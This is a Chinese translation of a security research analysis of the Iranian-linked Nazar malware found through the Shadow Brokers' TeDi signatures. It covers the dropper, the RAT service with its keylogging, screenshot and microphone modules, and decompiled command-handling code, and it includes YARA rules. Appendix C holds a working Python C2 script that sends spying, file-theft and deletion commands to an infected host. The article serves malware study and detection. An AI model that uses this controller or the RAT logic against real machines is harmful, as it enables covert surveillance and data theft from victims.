对影子经纪人Shadow Brokers 公布的 Nazar 组织的分析
2020-05-08 01:00:00 Author: www.4hou.com(查看原文) 阅读量:356 收藏

导语:在本文中,我们尝试收集Nazar最近曝光的所有信息。我们深入研究了每个组件,并尝试解决尽可能多的谜团。影子经纪人泄漏的信息使我们知道,美国国家安全局(NSA)多年来一直了解纳扎尔(Nazar)。

 6:22 AM 11/7/2012 conficker still on target`
 `6:18 AM 11/7/2012 checking logs - we are clean`
 `8:16 PM 7/2/2012 - BOOM!, got the callback

这些是方程式组织(NSA)在针对目标系统的攻击的记录中留下的一些痕迹,后来被影子经纪人泄露。影子经纪人在第五次也是最后一次泄漏中暴露出的大量信息,被称为“Lost in Translation”,以及在WannaCry和NotPetya中出现的后果,这使得它成为网络安全行业中的一个焦点。

最近,安全研究员Juan Andres Guerrero-Saade 捕获了一个未知的威胁组织,即Nazar,这是影子经纪人最近一次泄密的一部分。在这项研究中,我们将扩展Juan以及Maciej Kotowicz撰写的另一篇文章所做的分析,并将对每个Nazar组件进行深入分析。

事件回顾

影子经纪人的“Lost in Translation”泄漏使臭名昭著的漏洞(例如EternalBlue)成为众人瞩目的焦点,但其中包含了许多有价值的组件,这些组件显示了Equation Group在发动攻击之前采取的一些预防措施。

Shadow Brokers原始帖子的截图

例如,在泄漏的文件中有一个名为“ drv_list.txt ”的文件,其中包括驱动程序名称列表和相应的注释,如果在目标系统上找到了驱动程序,则将这些注释发送回攻击者。当然,该列表包含许多驱动程序,可以检测是否存在防病毒产品或安全解决方案:

“ drv_list.txt”中提到的驱动程序

但是,更令人好奇的是该列表中的恶意驱动程序的名称,如果找到这些驱动程序,则可能表明目标系统已被其他攻击者破坏。方程式组织(NSA)武器库中负责此类检查的另一个关键组成部分是“Territorial Dispute”或“ TeDi”。

从泄漏源中可以看到Territorial Dispute

与安全产品进行的扫描类似,“ TeDi”包含45个签名,用于在目标系统中搜索与其他威胁组关联的注册表项或文件名。但是我们可以假设,与安全扫描不同,这种情况下的最终目的是确保方程式组织(NSA)的操作不会受到干扰,并且其他对手不会检测到他们的工具。

TeDi泄漏源的代码段

在某些情况下,这还可以确保方程式组织(NSA)本身不会干扰其他协同组织正在进行的操作,并且不会攻击同一目标。

CrySys Labs在2018年进行了广泛的研究工作,试图将45个特征中的每个特征映射到要检测的相应威胁组,因为“ TeDi”本身未包含任何名称。

在TeDi泄漏源上发现的签名示例

尽管其中包含的信息量相对稀少,安全研究人员还是经常重新访问“ TeDi”,因为其中一些至今对公众仍是未知的。

安全研究员胡安·安德烈斯·格雷罗·萨德(Juan Andres Guerrero-Saade)说,“ TeDi”中的第37个签名正在寻找一个名为“ Godown.dll”的文件,它指向的是他称为“纳扎尔”的伊朗威胁组织,而不是最初的中国威胁组织。

SIG37,通过查找“ godown.dll”来检测“ Nazar”的签名

“ TeDi”项目包含的少量签名使方程式组织能够检测出威胁组织的活动,而这些威胁组织一直未能被发现,并且存在了多年:Turla ,Duqu,Dark Hotel,清单还在继续。有了这些知识,我们便开始寻找有关此列表中包括的新发现的组织的更多信息:Nazar。

分析流程

纳扎尔的活动始于2008年左右,这意味着该小组活跃了至少四年,因为最新的样本是在2012年创建的。

CrySys Labs报告指出可能与第37个签名相关的文件,该文件原来是2015年的反病毒签名数据库,它检测到此唯一的Nazar组件“ Godown.dll”。令人惊讶的是,相同的签名包含Nazar恶意软件正在使用的其他组件的名称(并将在以下各节中详细说明),这意味着某些安全公司早在那时就已经充分意识到了这种恶意活动。

“ TeDi”泄漏数据:

正在检测Nazar的防病毒签名

在Nazar的流程中执行的初始二进制文件是gpUpdates.exe。它是由名为“ Zip 2 Secure EXE ” 的程序创建的自解压存档(SFX)。在执行时,gpUpdates写入三个文件到硬盘:Data.bin,info,和Distribute.exe。然后,gpUpdates.exe将开始作为Distribute.exe安装组件运行。

样本文件

在开始时,Distribute.exe将读取两个文件gpUpdates:info和Data.bin。Data.bin文件是一个二进制Blob,其中包含按顺序串联的多个PE文件。info文件是一个非常小的文件,其中包含一个简单的结构,其PE文件的长度为Data.bin。Distribute.exe将把Data.bin按照文件长度的顺序逐个文件读取为数据流。

下表显示了Data.bin按写入的长度串联在一起的文件info。

image.png

将上述文件拖放到磁盘后,Distribute.exe将使用regsvr32将3个DLL文件注册到注册表。

 ShellExecuteA(0, "open", "regsvr32.exe", "Godown.dll -s", 0, 0);
 ShellExecuteA(0, "open", "regsvr32.exe", "ViewScreen.dll -s", 0, 0);
 ShellExecuteA(0, "open", "regsvr32.exe", "Filesystem.dll -s", 0, 0);

然后它用CreateServiceA添加svchost.exe EYService服务,然后它将启动该服务并退出。我们将在稍后解释,该服务是流程中的核心组件,负责处理攻击者发送的命令。

纳扎尔的执行流程

svchost.exe / EYService


该服务是攻击的主要组成部分,它协调了Nazar丢弃和加载的整个模块。从某种意义上说,EYService只是由操纵者向其发送命令。在本博客文章的后面部分中将详细解释通信协议。如在类似RAT的组件中通常看到的那样,此服务主要包含受支持命令的列表,并且为这些命令中的每个命令分配一个功能,以根据攻击者的请求进行处理。下面列出了命令的完整列表。

与Nazar中的其他组件一样,该模块也没有展示新颖的技术或高质量的代码。实际上,与其他模块一样,该模块主要基于当时通常可用的开源库。为了管理流量和嗅探数据包,Nazar使用Microolap的Packet Sniffer SDK。要录制受害者的麦克风,它使用“ Lame” Mp3编码库。对于键盘记录,它使用KeyDLL3BMGLib用于拍摄屏幕截图,关闭计算机,它还使用开源项目– ShutDown Alarm

网络通信

在分析网络组件时,我们寻找的主要内容是命令和控制IP,因为这可能会开辟新的路径,也许还会发现最近的攻击和样本。但是由于Nazar的加密通信方式我们找不到控制IP。

服务执行后,首先要设置数据包嗅探。这是通过使用Packet Sniffer SDK完成的。主线程获取一个向外的网络适配器,并使用BPF来确保仅将UDP数据包转发到处理程序。

 DWORD __stdcall main_thread(LPVOID lpThreadParameter)
 {
   HANDLE hMgr; // edi
   HANDLE hCfg; // esi
   HANDLE hFtr; // edi
 
   hMgr = MgrCreate();
   MgrInitialize(hMgr);
   hCfg = MgrGetFirstAdapterCfg(hMgr);
   do
   {
     if ( !AdpCfgGetAccessibleState(hCfg) )
       break;
     hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
   }
   while ( hCfg );
   ADP_struct = AdpCreate();
   AdpSetConfig(ADP_struct, hCfg);
   if ( !AdpOpenAdapter(ADP_struct) )
   {
     AdpGetConnectStatus(ADP_struct);
     MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
     adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
     AdpCfgGetMACAddress(hCfg, &mac_address, 6);
     hFtr = BpfCreate();
     BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
     BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
     BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
     BpfAddCmd(hFtr, BPF_RET, 0);
     AdpSetUserFilter(ADP_struct, hFtr);
     AdpSetUserFilterActive(ADP_struct, 1);
     AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
     AdpSetMacFilter(ADP_struct, 2);
     while ( 1 )
     {
       if ( stop_and_ping == 1 )
       {
         adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
         connection_method(2);
         stop_and_ping = 0;
       }
       Sleep(1000u);
     }
   }
   return 0;
 }

当UDP数据包到达时,无论是否存在响应,都会记录其源IP以用于下一个响应。然后,将检查数据包的目标端口,如果它是1234,则UDP数据将转发到命令分派器。

 int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
 {
   int length; // edi
   length = HIBYTE(udp_packet->length) - 8;
   ntohs(udp_packet->src_port);
   if ( ntohs(udp_packet->dst_port) != 1234 )
     return 0;
   commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
   return 1;
 }

数据响应

每个响应都会从头开始构建其数据包,因此可以使用PSSDK的send方法发送它: AdpAsyncSend/AdpSyncSend

有3种类型的响应:

· 发送ACK:目标端口4000和有效负载101;0000

· 发送计算机信息:带有目标端口4000和有效负载100;

· 发送文件:内容将作为UDP数据发送,随后是另一个带有UDP数据包的数据包---

为了使选项更加清晰,并演示Nazar的通信方式,我们创建了一个python脚本,可以“播放”攻击者控制的服务器,并与受害者进行通信。该脚本位于附录C中。

我们创建了一个脚本来演示服务器如何与Nazar通信

支持命令

如前svchost.exe所述,,服务EYService包含受支持命令的列表。我们分析了两种版本的RAT,发现有细微的差异。下表列出了受支持的命令的完整列表以及我们的分析说明。

image.pngGodown.dll

Godown.dll是SIG37关注的DLL,可以想象Godown.dll是整个操作背后的策划者,控制它们的组件。实际上,Godown.dll是一个只有一个并且唯一的目标的DLL,即关闭计算机。我们竭尽所能在二进制文件中找到隐藏或神秘的功能,但是除了关闭命令以外什么都没有发现。采用5行C代码并将其放置在DLL中,将其Data.bin拖放到磁盘中,使用以下命令将其注册为COM DLL的原因regsvr32然后使用GUID间接调用它。

Filesystem.dll

在此攻击中使用的所有模块中,Filesystem.dll可能只有一个模块的代码实际上是由攻击者自己编写的。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将最终结果写入两个文本文件:Drives.txt和Files.txt。

我们能够使用一年创建的该模块的两个版本,这两个版本都包含PDB路径,其中提到了一个波斯语名称为Khzer的文件夹:

 C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb`
 `D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

仔细检查后,两条路径之间存在一些差异:一条以C:\\分区开头,另一条以D:\\开头,一条使用Khzer(大写),另一条使用khzer(小写),依此类推。这可能表明该模块的两个版本不是在同一环境中编译的,并且通过其中包含的某些文件头的路径进行了进一步增强,这表明Visual Studio安装在两个不同的位置:

但是,这并不是两个版本之间的唯一区别:尽管该Filesystem.dll模块已被的所有已知变体gpUpdates.exe删除,但并非总是以相同的方式使用。

例如,svchost.exe可追溯到2010年的版本具有三个已被省略的命令:“ 211”,“ 212”和“ 213”。这些命令允许使用svchost.exe来注册已删除的DLL模块regsvr32,该功能后来被迁移至Distribute.exe`(如上文“ 执行流”部分所述)。

svchost.exe中显示的省略命令,如在Cutter中所示

然后,当C2接收到命令以收集系统上的文件和驱动器时,在注册Filesystem.dll模块后将对其进行调用:

正在注册Filesystem.dll,可以在Cutter中看到

另一方面,2012年创建的svchost.exe的最新版本在从C2接收“ 199”和“ 200”命令时复制了Filesystem.dll中发现的文件和驱动器查找功能,并自行执行搜索。因此,即使在这种情况下仍将其丢弃,但似乎在较新版本的Nazar中未使用Filesystem.dll模块:

这两个文件中提供的函数与从Cutter的反汇编中可以看到的函数相同

hodll.dll

hodll.dll模块负责记录用户的击键。就像大多数键盘记录程序一样,它是通过为键盘输入设置Windows hook来完成的。尽管可以使用键盘记录程序的许多实现,但我们认为这种实现是基于一个或多个开源项目的。具体而言,我们认为该代码取材于常见的开源库-“ KeyDLL3 ”(由Anoop Thomas设计)和“ KeyBoard Hooks ”(由H. Joseph设计),或这些项目的分支,因为有许多可用的项目。实际上,hodll.dll看起来它们是由不同层次的开源项目编译而成的。在某种程度上,它看起来像某人从互联网上复制了代码,然后将其部分删除,然后获取其他代码,然后也将其删除,依此类推。最终结果包含来自多层代码的修改。

ViewScreen.dll

该DLL基于名为“ BMGLib ” 的已知开源项目,并且用于获取受害者计算机的屏幕截图。没有对原始源进行任何重大更改,这是Nazar恶意软件如何将整个库用于一项小任务的又一个示例。

分析结论

在本文中,我们尝试收集Nazar最近曝光的所有信息。我们深入研究了每个组件,并尝试解决尽可能多的谜团。影子经纪人泄漏的信息使我们知道,美国国家安全局(NSA)多年来一直了解纳扎尔(Nazar),这要归功于其他研究人员,该社区能够从“ TeDi”签名列表中删除另一个未知的恶意软件家族。

“ TeDi”中的许多签名描述了高级和新颖的恶意软件家族,但Nazar似乎并非如此。正如我们在文章中所显示的那样,代码的质量以及开源库的大量使用与精明的威胁参与者的个人资料不符。尽管我们试图涵盖所有内容,但围绕这些发现仍然存在许多未解决的问题:他们是否演变成如今以不同名称而闻名的其他小组?他们仍然活跃吗?还有更多样本吗?有了这些问题和其他问题,我们就不得不对此保持开放态度。


附录

附录A:Yara规则

Juan在他的博客文章中发布了Yara规则  以简化检测。规则写得很好,涵盖了不同的组成部分。我们希望在分析过程中创建一些规则,以添加到现有规则中。

 rule apt_nazar_svchost_commands
 {
     meta:
         description = "Detect Nazar's svchost based on supported commands"
         author = "Itay Cohen"
         date = "2020-04-26"
         reference = ""
         hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
         hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
     strings:
         $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
         $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
         $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
         $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
         $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
     condition:
         4 of them
 }
 
 rule apt_nazar_component_guids
 {
     meta:
         description = "Detect Nazar Components by COM Objects' GUID"
         author = "Itay Cohen"
         date = "2020-04-27"
         reference = ""
 
         hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
         hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
         hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
         hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
         hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
         hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
         hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
         hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
         hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
         hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
         hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
         hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
         hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
 
     strings:
         $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID
         $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID
         $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown
 
         $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID
         $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID
         $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll 
         
 
     condition:
         any of them
 }

附录B:IOCs

image.png

附录C:Python服务器

 from scapy.all import *
 import struct
 import socket
 import hexdump
 import argparse
 
 DST_PORT = 1234
 
 # 4000 is the usual port without sending files, but we use it for everything, because why not?
 SERVER_PORT = 4000
 
 # We want to make sure the ID has the little endian of it
 ID = struct.unpack('>H',struct.pack('= 4
             and payload[:3] == b'---'
             and payload[4] >= ord('0')
             and payload[4] <= ord('9')):
 
             should_loop = False
         started = True
     hexdump.hexdump(total_payload)
 
 MENU = """Welcome to NAZAR. Please choose:
           999 - Get a ping from the victim.
           555 - Get information on the victim's machine.
           311 - Start keylogging (312 to disable).
           139 - Shutdown victim's machine.
           189 - Screenshot (313 to disable).
           119 - Record audio from Microphone (315 to disable).
           199 - List drives.
           200 - List recursivley from directory*.
           201 - Send a file*.
           209 - Remove file*.
           599 - List devices.
 
 * (append a path, use double-backslashes)
 quit to Quit,
 help for this menu.
             """
 
 def get_message():
     while True:
         curr_message = input('> ').strip()
         if 'quit' in curr_message:
             return None
         if 'help' in curr_message:
             print(MENU)
         else:
             return curr_message
 
 def get_sock():
     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     server_address = '0.0.0.0'
     server = (server_address, SERVER_PORT)
     sock.bind(server)
     return sock     
 
 def main(ip_addr):
     sock = get_sock()
     
     print(MENU)
     multi_packets = ["200","201", "119", "189", "311", "199", "599"]
     single_packets = ["999", "555"]
     all_commands = single_packets + multi_packets
     while True:
         
         curr_message = get_message()
         if not curr_message:
             break
         
 
         # Send message using scapy
         # Make sure the IP identification field is little endian of the port.
         sr1(
             IP(dst=ip_addr, id=ID)/
             UDP(sport=SERVER_PORT,dport=1234)/
             Raw(load=curr_message),
             verbose=0
         )
 
         command = curr_message[:3]
         if command not in all_commands:
             continue
         should_loop = command in multi_packets
         get_response(sock, should_loop)
 
 if __name__ == '__main__':
     parser = argparse.ArgumentParser(description="victim's IP")
     parser.add_argument('ip')
     args = parser.parse_args()
     main(args.ip)

本文翻译自:https://research.checkpoint.com/2020/nazar-spirits-of-the-past/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/Qv07
如有侵权请联系:admin#unsafe.sh